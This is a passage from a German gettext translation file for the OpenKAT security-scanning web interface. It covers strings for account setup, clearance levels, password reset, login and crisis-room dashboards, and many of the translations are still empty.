account/forms/account_setup.py\nmsgid \"Choose another code for your organization.\"\nmsgstr \"Wählen Sie einen anderen Code für Ihre Organisation.\"\n\n#: account/forms/account_setup.py\nmsgid \"\"\n\"I declare that OpenKAT may scan the assets of my organization and that I \"\n\"have permission to scan these assets. I am aware of the implications a scan \"\n\"(with a higher scan level) brings on my systems.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"\"\n\"I declare that I am authorized to give this indemnification on behalf of my \"\n\"organization. I have the experience and knowledge to know what the \"\n\"consequences might be and can be held responsible for them.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Trusted to change Clearance Levels.\"\nmsgstr \"Vertraut, um Freigabestufen zu ändern.\"\n\n#: account/forms/account_setup.py\nmsgid \"Acknowledged to change Clearance Levels.\"\nmsgstr \"Bestätigt zum Ändern der Freigabestufen.\"\n\n#: account/forms/account_setup.py rocky/forms.py\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Blocked\"\nmsgstr \"Blockiert\"\n\n#: account/forms/account_setup.py\nmsgid \"\"\n\"Set the members status to blocked, so they don't have access to the \"\n\"organization anymore.\"\nmsgstr \"\"\n\"Setzen Sie die Mitglieder auf den Status \\\"gesperrt\\\", so dass sie keinen \"\n\"Zugriff mehr auf die Organisation haben.\"\n\n#: account/forms/account_setup.py\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Accepted clearance level\"\nmsgstr \"Akzeptierte Freigabestufe\"\n\n#: account/forms/account_setup.py\nmsgid \"Enter tags separated by comma.\"\nmsgstr \"Geben Sie Tags durch Komma getrennt ein.\"\n\n#: account/forms/account_setup.py\nmsgid \"The two password fields didn’t match.\"\nmsgstr \"Die beiden Passwortfelder stimmten nicht überein.\"\n\n#: account/forms/account_setup.py\nmsgid \"New password\"\nmsgstr \"Neues Passwort\"\n\n#: account/forms/account_setup.py\nmsgid \"Enter a new password\"\nmsgstr \"Geben Sie ein neues Passwort ein\"\n\n#: account/forms/account_setup.py\nmsgid \"New password confirmation\"\nmsgstr \"Neues Passwort wiederholen\"\n\n#: account/forms/account_setup.py\nmsgid \"Repeat the new password\"\nmsgstr \"Wiederhole das neue Passwort\"\n\n#: account/forms/account_setup.py\nmsgid \"Confirm the new password\"\nmsgstr \"Bestätige das neue Passwort\"\n\n#: account/forms/login.py\nmsgid \"Please enter a correct email address and password.\"\nmsgstr \"\"\n\"Bitte geben Sie die richtige E-Mail-Adresse und das richtige Passwort ein.\"\n\n#: account/forms/login.py\nmsgid \"This account is inactive.\"\nmsgstr \"Diese Account ist nicht aktiv.\"\n\n#: account/forms/login.py\nmsgid \"Insert the email you registered with or got at OpenKAT installation.\"\nmsgstr \"\"\n\"Geben Sie die E-Mail ein, mit der Sie sich registriert haben oder die Sie \"\n\"bei der Installation von OpenKAT erhalten haben.\"\n\n#: account/forms/organization.py\nmsgid \"Organization is required.\"\nmsgstr \"Organisation wird benötigt.\"\n\n#: account/forms/organization.py tools/view_helpers.py\n#: rocky/templates/dashboard_redteam.html\n#: rocky/templates/organizations/organization_list.html\n#: rocky/views/organization_add.py\nmsgid \"Organizations\"\nmsgstr \"Organisationen\"\n\n#: account/forms/organization.py\nmsgid \"The organization from which to clone settings.\"\nmsgstr \"Die Organisation, von der Einstellungen geklont werden sollen.\"\n\n#: account/forms/password_reset.py account/templates/account_detail.html\nmsgid \"Email address\"\nmsgstr \"E-Mail-Adresse\"\n\n#: account/forms/password_reset.py\nmsgid \"A reset link will be sent to this email\"\nmsgstr \"Ein Link zum Zurücksetzen wird an diese E-Mail gesendet\"\n\n#: account/forms/password_reset.py\nmsgid \"The email address connected to your OpenKAT-account\"\nmsgstr \"Die mit Ihrem OpenKAT-Konto verbundene E-Mail-Adresse\"\n\n#: account/forms/token.py\nmsgid \"\"\n\"Insert the token generated by the authenticator app to setup the two factor \"\n\"authentication.\"\nmsgstr \"\"\n\"Geben Sie das von der Authenticator-App generierte Token ein, um die Zwei-\"\n\"Faktor-Authentifizierung einzurichten.\"\n\n#: account/forms/token.py\nmsgid \"Insert the token generated by your token authenticator app.\"\nmsgstr \"\"\n\"Geben Sie das von Ihrer Token-Authentifizierungs-App generierte Token ein.\"\n\n#: account/forms/token.py\nmsgid \"Backup token\"\nmsgstr \"Backup Token\"\n\n#: account/mixins.py\nmsgid \"Clearance level has been set.\"\nmsgstr \"\"\n\n#: account/mixins.py\n#, python-format\nmsgid \"\"\n\"Could not raise clearance level of %s to L%s. Indemnification not present at \"\n\"organization %s.\"\nmsgstr \"\"\n\"Konnte die Freigabestufe von %s nicht auf L%s erhöhen. Entschädigung nicht \"\n\"vorhanden bei Organisation %s.\"\n\n#: account/mixins.py\n#, python-format\nmsgid \"\"\n\"Could not raise clearance level of %s to L%s. You were trusted a clearance \"\n\"level of L%s. Contact your administrator to receive a higher clearance.\"\nmsgstr \"\"\n\"Konnte die Freigabestufe von %s nicht auf F%s erhöhen. Es wurde Ihnen eine \"\n\"Freigabestufe von F%s anvertraut. Wenden Sie sich an Ihren Administrator, um \"\n\"eine höhere Freigabestufe zu erhalten.\"\n\n#: account/mixins.py\n#, python-format\nmsgid \"\"\n\"Could not raise clearance level of %s to L%s. You acknowledged a clearance \"\n\"level of L%s. Please accept the clearance level first on your profile page \"\n\"to proceed.\"\nmsgstr \"\"\n\"Konnte die Freigabestufe von %s nicht auf F%s erhöhen. Sie haben eine \"\n\"Freigabestufe von F%s bestätigt. Bitte akzeptieren Sie die Freigabestufe \"\n\"zuerst auf Ihrer Profilseite, um fortzufahren.\"\n\n#: account/models.py\nmsgid \"The email must be set\"\nmsgstr \"\"\n\n#: account/models.py\nmsgid \"Superuser must have is_staff=True.\"\nmsgstr \"Superuser muss is_staff=True haben.\"\n\n#: account/models.py\nmsgid \"Superuser must have is_superuser=True.\"\nmsgstr \"Superuser muss is_superuser=True haben.\"\n\n#: account/models.py\nmsgid \"full name\"\nmsgstr \"Vor- und Nachname\"\n\n#: account/models.py\nmsgid \"email\"\nmsgstr \"E-Mail\"\n\n#: account/models.py\nmsgid \"staff status\"\nmsgstr \"Personalstatus\"\n\n#: account/models.py\nmsgid \"Designates whether the user can log into this admin site.\"\nmsgstr \"\"\n\"Gibt an, ob sich der Benutzer bei dieser Verwaltungsseite anmelden kann.\"\n\n#: account/models.py tools/models.py\nmsgid \"active\"\nmsgstr \"Aktiv\"\n\n#: account/models.py\nmsgid \"\"\n\"Designates whether this user should be treated as active. Unselect this \"\n\"instead of deleting accounts.\"\nmsgstr \"\"\n\"Gibt an, ob dieser Benutzer als aktiv behandelt werden soll. Deaktivieren \"\n\"Sie diese Option, anstatt Konten zu löschen.\"\n\n#: account/models.py\nmsgid \"date joined\"\nmsgstr \"Beitrittsdatum\"\n\n#: account/models.py\nmsgid \"The clearance level of the user for all organizations.\"\nmsgstr \"\"\n\n#: account/models.py\nmsgid \"name\"\nmsgstr \"Name\"\n\n#: account/templates/account_detail.html account/views/account.py\nmsgid \"Account details\"\nmsgstr \"Accountdetails\"\n\n#: account/templates/account_detail.html account/templates/password_reset.html\n#: account/views/password_reset.py\nmsgid \"Reset password\"\nmsgstr \"Passwort zurücksetzen\"\n\n#: account/templates/account_detail.html\nmsgid \"Full name\"\nmsgstr \"Vor - und Nachname\"\n\n#: account/templates/account_detail.html\nmsgid \"Member type\"\nmsgstr \"Mitgliedstyp\"\n\n#: account/templates/account_detail.html\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: rocky/templates/tasks/normalizers.html\nmsgid \"Organization\"\nmsgstr \"Organisation\"\n\n#: account/templates/account_detail.html\nmsgid \"Permission to set OOI clearance levels\"\nmsgstr \"Erlaubnis zur Festlegung von OOI-Freigabestufen\"\n\n#: account/templates/account_detail.html\nmsgid \"OOI clearance\"\nmsgstr \"OOI Freigabe\"\n\n#: account/templates/account_detail.html\nmsgid \"You don't have any clearance to scan objects.\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\nmsgid \"\"\n\"Get in contact with the admin to give you the necessary clearance level.\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\nmsgid \"You have currently accepted clearance up to level\"\nmsgstr \"Sie haben derzeit eine Freigabe bis zur Stufe\"\n\n#: account/templates/account_detail.html\nmsgid \"Explanation OOI Clearance\"\nmsgstr \"Erläuterung OOI-Freigabe\"\n\n#: account/templates/account_detail.html\nmsgid \"\"\n\"You can withdraw this at anytime you like, but know that you won't be able \"\n\"to change clearance levels anymore when you do.\"\nmsgstr \"\"\n\"Sie können diese jederzeit zurückziehen, sollten aber wissen, dass Sie dann \"\n\"die Freigabestufen nicht mehr ändern können.\"\n\n#: account/templates/account_detail.html\n#, python-format\nmsgid \"Withdraw L%(acl)s clearance and responsibility\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\nmsgid \"Explanation OOI clearance\"\nmsgstr \"Erläuterung OOI-Freigabe\"\n\n#: account/templates/account_detail.html\n#, python-format\nmsgid \"\"\n\"You are granted clearance for level L%(tcl)s by your admin. Before you can \"\n\"change OOI clearance levels up to this level, you need to accept this \"\n\"permission. Remember: <strong>with great power comes great responsibility.</\"\n\"strong>\"\nmsgstr \"\"\n\"You are granted clearance for level F%(tcl)s by your admin. Before you can \"\n\"change OOI clearance levels up to this level, you need to accept this \"\n\"permission. Remember: <strong>with great power comes great responsibility.</\"\n\"strong>\"\n\n#: account/templates/account_detail.html\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\n#, python-format\nmsgid \"Accept level L%(tcl)s clearance and responsibility\"\nmsgstr \"\"\n\n#: account/templates/password_reset.html\nmsgid \"Use the form below to reset your password.\"\nmsgstr \"\"\n\"Verwenden Sie das untenstehende Formular, um Ihr Passwort zurückzusetzen.\"\n\n#: account/templates/password_reset.html\n#: account/templates/password_reset_confirm.html\nmsgid \"Send\"\nmsgstr \"Absenden\"\n\n#: account/templates/password_reset.html\n#: account/templates/password_reset_confirm.html\nmsgid \"Back\"\nmsgstr \"Zurück\"\n\n#: account/templates/password_reset_confirm.html\nmsgid \"Confirm reset password\"\nmsgstr \"Bestätigen Sie das zurückgesetzte Passwort\"\n\n#: account/templates/password_reset_confirm.html\nmsgid \"Use the form below to confirm resetting your password\"\nmsgstr \"\"\n\"Verwenden Sie das nachstehende Formular, um das Zurücksetzen Ihres Passworts \"\n\"zu bestätigen\"\n\n#: account/templates/password_reset_confirm.html\nmsgid \"Confirm password\"\nmsgstr \"Passwort bestätigen\"\n\n#: account/templates/password_reset_confirm.html\nmsgid \"The link is invalid\"\nmsgstr \"Der Link ist ungültig\"\n\n#: account/templates/password_reset_confirm.html\nmsgid \"\"\n\"The password reset link was invalid, possibly because it has already been \"\n\"used.  Please request a new password reset.\"\nmsgstr \"\"\n\n#: account/templates/password_reset_email.html\n#, python-format\nmsgid \"\"\n\"You're receiving this email because you requested a password reset for your \"\n\"user account at %(site_name)s.\"\nmsgstr \"\"\n\n#: account/templates/password_reset_email.html\n#: account/templates/registration_email.html\nmsgid \"Please go to the following page and choose a new password:\"\nmsgstr \"\"\n\n#: account/templates/password_reset_email.html\n#: account/templates/registration_email.html\nmsgid \"Sincerely,\"\nmsgstr \"\"\n\n#: account/templates/password_reset_email.html\n#: account/templates/registration_email.html\nmsgid \"The OpenKAT team\"\nmsgstr \"\"\n\n#: account/templates/password_reset_subject.txt\n#, python-format\nmsgid \"Password reset on %(site_name)s\"\nmsgstr \"\"\n\n#: account/templates/recover_email.html account/views/recover_email.py\nmsgid \"Recover email address\"\nmsgstr \"\"\n\n#: account/templates/recover_email.html\nmsgid \"Information on how to recover your connected email address\"\nmsgstr \"\"\n\n#: account/templates/recover_email.html\nmsgid \"Forgotten email address?\"\nmsgstr \"\"\n\n#: account/templates/recover_email.html\nmsgid \"\"\n\"If you don’t remember the email address connected to your account, contact:\"\nmsgstr \"\"\n\n#: account/templates/recover_email.html\nmsgid \"Please contact the system administrator.\"\nmsgstr \"\"\n\n#: account/templates/recover_email.html\nmsgid \"Back to login\"\nmsgstr \"\"\n\n#: account/templates/recover_email.html\nmsgid \"Back to Home\"\nmsgstr \"\"\n\n#: account/templates/registration_email.html\n#, python-format\nmsgid \"\"\n\"Welcome to OpenKAT. You're receiving this email because you have been added \"\n\"to organization \\\"%(organization)s\\\" at %(site_name)s.\"\nmsgstr \"\"\n\n#: account/templates/registration_subject.txt\n#, python-format\nmsgid \"Verify OpenKAT account on %(site_name)s\"\nmsgstr \"\"\n\n#: account/validators.py\nmsgid \"\"\n\"Your password must contain at least the following but longer passwords are \"\n\"recommended:\"\nmsgstr \"\"\n\n#: account/validators.py\nmsgid \" characters\"\nmsgstr \"\"\n\n#: account/validators.py\nmsgid \" digits\"\nmsgstr \"\"\n\n#: account/validators.py\nmsgid \" letters\"\nmsgstr \"\"\n\n#: account/validators.py\nmsgid \"\"\n\" special characters such as: {str(validators.get('special_characters',''))}\"\nmsgstr \"\"\n\n#: account/validators.py\nmsgid \" lower case letters\"\nmsgstr \"\"\n\n#: account/validators.py\nmsgid \" upper case letters\"\nmsgstr \"\"\n\n#: account/views/login.py\nmsgid \"Your session has timed out. Please login again.\"\nmsgstr \"\"\n\n#: account/views/login.py rocky/templates/header.html\nmsgid \"OpenKAT\"\nmsgstr \"\"\n\n#: account/views/login.py account/views/password_reset.py\n#: account/views/recover_email.py rocky/templates/partials/secondary-menu.html\n#: rocky/templates/two_factor/core/login.html\nmsgid \"Login\"\nmsgstr \"\"\n\n#: account/views/login.py\nmsgid \"Two factor authentication\"\nmsgstr \"\"\n\n#: account/views/password_reset.py\nmsgid \"We couldn't send a password reset link. Contact \"\nmsgstr \"\"\n\n#: account/views/password_reset.py\nmsgid \"\"\n\"We couldn't send a password reset link. Contact your system administrator.\"\nmsgstr \"\"\n\n#: components/modal/template.html\nmsgid \"Close modal\"\nmsgstr \"\"\n\n#: components/modal/template.html\n#: crisis_room/templates/partials/delete_dashboard_item_modal.html\n#: crisis_room/templates/partials/delete_dashboard_modal.html\n#: crisis_room/templates/partials/new_dashboard_item_explanation_modal.html\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\n#: crisis_room/templates/partials/new_dashboard_modal.html\n#: katalogus/templates/change_clearance_level.html\n#: katalogus/templates/confirmation_clone_settings.html\n#: katalogus/templates/plugin_settings_delete.html\n#: reports/templates/report_overview/modal_partials/enable_disable_schedule_modal.html\n#: reports/templates/report_schedules/delete_recipe_modal.html\n#: rocky/templates/oois/ooi_delete.html\n#: rocky/templates/oois/ooi_mute_finding.html\n#: rocky/templates/organizations/organization_edit.html\n#: rocky/templates/organizations/organization_member_edit.html\n#: rocky/templates/partials/delete_ooi_modal.html\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\n#: rocky/templates/partials/mute_findings_modal.html\n#: rocky/templates/two_factor/_wizard_actions.html\nmsgid \"Cancel\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Title on dashboard\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Dashboard item size\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Full width\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Half width\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"An item with that name already exists. Try a different title.\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"An error occurred while adding dashboard item.\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Number of rows in list\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"List sorting by\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Type (A-Z)\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Type (Z-A)\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Clearance level (Low-High)\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Clearance level (High-Low)\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Show table columns\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Severity (Low-High)\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Severity (High-Low)\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Finding (A-Z)\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Finding (Z-A)\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"Findings Dashboard\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"\"\n\"Where on the dashboard do you want to show the data? Position {} is the most \"\n\"top level and the max position is {}.\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"Will be displayed on the general crisis room, for all organizations.\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"Will be displayed on a single organization dashboard\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"Will be displayed on the findings dashboard for all organizations\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"Can change position up or down of a dashboard item.\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"You have to choose between a recipe or a query, but not both.\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"You have set a query and not where it is from. Also set the source.\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"\"\n\"DashboardItem must contain at least a 'recipe' or a 'source' with a 'query'.\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"Max dashboard items reached.\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room.html\n#: crisis_room/templates/organization_crisis_room.html\n#: rocky/templates/header.html\nmsgid \"Crisis room\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room.html\nmsgid \"Crisis room overview for all organizations.\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_dashboards.html\nmsgid \"Dashboards\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_dashboards.html\nmsgid \"\"\n\"On this page you can see an overview of the dashboards for all \"\n\"organizations. **More context can be written here**\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_dashboards.html\nmsgid \"dashboards\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_dashboards.html\nmsgid \"There are no dashboards to display.\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_findings.html\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: reports/report_types/findings_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Findings overview\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_findings.html\nmsgid \"\"\n\"\\n\"\n\"                            This overview shows the total number of findings \"\n\"per\\n\"\n\"                            severity that have been identified for all \"\n\"organizations.\\n\"\n\"                            This data is based on the latest Crisis Room \"\n\"Findings Report\\n\"\n\"                            of each organization.\\n\"\n\"                        \"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_findings.html\nmsgid \"Findings per organization\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_findings.html\nmsgid \"\"\n\"This table shows the findings that have been identified for each \"\n\"organization, sorted by the finding types and grouped by organizations. This \"\n\"data is based on the latest Crisis Room Findings Report of each organization.\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_findings.html\n#: reports/report_types/findings_report/report.html\nmsgid \"\"\n\"No findings have been identified yet. As soon as they have been identified, \"\n\"they will be shown on this page.\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_findings.html\nmsgid \"\"\n\"There are no organizations yet. After creating an organization, the \"\n\"identified findings will be shown here.\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_header.html\n#: crisis_room/templates/organization_crisis_room_header.html\nmsgid \"Crisis room navigation\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_header.html\n#: crisis_room/templates/partials/new_dashboard_item_action_button.html\n#: reports/report_types/aggregate_organisation_report/findings.html\n#: reports/report_types/aggregate_organisation_report/report.html\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/findings_report/report.html\n#: reports/report_types/mail_report/report.html\n#: reports/report_types/multi_organization_report/report.html\n#: reports/report_types/name_server_report/report.html\n#: reports/report_types/tls_report/report.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/report_types/web_system_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/partials/report_sidemenu.html\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\n#: rocky/templates/header.html\n#: rocky/templates/oois/ooi_detail_findings_list.html\n#: rocky/templates/oois/ooi_detail_findings_overview.html\n#: rocky/templates/oois/ooi_page_tabs.html\n#: rocky/templates/partials/ooi_report_findings_block.html\n#: rocky/templates/partials/ooi_report_findings_block_table.html\n#: rocky/views/finding_list.py rocky/views/finding_type_add.py\n#: rocky/views/ooi_view.py\nmsgid \"Findings\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room.html\nmsgid \"Options for dashboard\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room.html\nmsgid \"Show all descriptions\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room.html\nmsgid \"Hide all descriptions\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room.html\n#: crisis_room/templates/partials/delete_dashboard_modal.html\nmsgid \"Delete dashboard\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room.html\nmsgid \"\"\n\"There are no dashboards yet. Click on \\\"Add dashboard\\\" to create a new \"\n\"dashboard.\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\n#: katalogus/templates/partials/objects_to_scan.html\n#: rocky/templates/forms/widgets/checkbox_group_table.html\n#: rocky/templates/oois/ooi_list.html\nmsgid \"Object list\"\nmsgstr \"Objektliste\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\nmsgid \"Finding list\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\n#: crisis_room/templates/partials/new_dashboard_item_action_button.html\nmsgid \"Report section\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\nmsgid \"There are no dashboard items added yet.\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\nmsgid \"\"\n\"You can add dashboard items via the filters on the objects and findings page \"\n\"or you can add a report section.\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\nmsgid \"Add objects\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\nmsgid \"Add findings\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\nmsgid \"Add report section\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_header.html\n#: crisis_room/templates/partials/new_dashboard_modal.html\nmsgid \"Add dashboard\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\nmsgid \"Findings per organization overview\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/partials/report_severity_totals_table.html\n#: tools/forms/finding_type.py\nmsgid \"Finding types\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: reports/report_types/dns_report/report.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/partials/report_severity_totals_table.html\n#: rocky/templates/oois/ooi_detail_findings_overview.html\n#: rocky/templates/partials/ooi_report_findings_block_table.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"Occurrences\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\nmsgid \"Highest risk level\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\nmsgid \"Critical finding types\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: reports/report_types/dns_report/report.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/summary/selected_plugins.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/partials/ooi_report_findings_block_table.html\n#: rocky/templates/tasks/boefjes.html rocky/templates/tasks/normalizers.html\n#: rocky/templates/tasks/ooi_detail_task_list.html\n#: rocky/templates/tasks/plugin_detail_task_list.html\nmsgid \"Details\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: katalogus/templates/plugin_container_image.html\n#: reports/report_types/dns_report/report.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/report_overview/scheduled_reports_table.html\n#: reports/templates/summary/selected_plugins.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/tasks/boefjes.html rocky/templates/tasks/normalizers.html\n#: rocky/templates/tasks/ooi_detail_task_list.html\n#: rocky/templates/tasks/plugin_detail_task_list.html\nmsgid \"Close details\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: katalogus/templates/plugin_container_image.html\n#: reports/report_types/dns_report/report.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/report_overview/scheduled_reports_table.html\n#: reports/templates/summary/selected_plugins.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/tasks/boefjes.html rocky/templates/tasks/normalizers.html\n#: rocky/templates/tasks/ooi_detail_task_list.html\n#: rocky/templates/tasks/plugin_detail_task_list.html\nmsgid \"Open details\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\nmsgid \"\"\n\"This overview shows the total number of findings per severity that have been \"\n\"identified for this organization.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: reports/report_types/findings_report/report.html\nmsgid \"Critical and high findings\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: reports/report_types/findings_report/report.html\nmsgid \"\"\n\"This table shows the top 25 critical and high findings that have been \"\n\"identified for this organization, grouped by finding types. A table with all \"\n\"the identified findings can be found in the Findings Report.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\nmsgid \"No findings have been identified. Check report for more details.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\nmsgid \"View findings report\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Edit report recipe\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list.html\n#, python-format\nmsgid \"Showing %(length)s findings\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list.html\nmsgid \"Go to findings\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\nmsgid \"Findings table \"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: crisis_room/templates/partials/dashboard_ooi_list_table.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/oois/ooi_list.html\nmsgid \"column headers with buttons are sortable\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\n#, python-format\nmsgid \"Show details for %(finding)s\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/oois/ooi_page_tabs.html\n#: rocky/templates/partials/elements/ooi_tree_condensed_table.html\n#: rocky/templates/partials/elements/ooi_tree_condensed_table_row.html\n#: rocky/views/mixins.py\nmsgid \"Tree\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/oois/ooi_page_tabs.html\n#: rocky/templates/partials/elements/ooi_tree_condensed_table.html\n#: rocky/templates/partials/elements/ooi_tree_condensed_table_row.html\n#: rocky/views/mixins.py\nmsgid \"Graph\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: reports/report_types/dns_report/report.html\n#: rocky/templates/oois/ooi_detail_findings_list.html\n#: rocky/templates/oois/ooi_detail_findings_overview.html rocky/views/mixins.py\nmsgid \"Severity\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: reports/report_types/dns_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\n#: rocky/views/mixins.py\nmsgid \"Finding\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/partials/ooi_report_findings_block_table.html\nmsgid \"Finding type\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\n#, python-format\nmsgid \"Show details for %(finding_type)s\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\nmsgid \"OOI type\"\nmsgstr \"\"\n\n#: 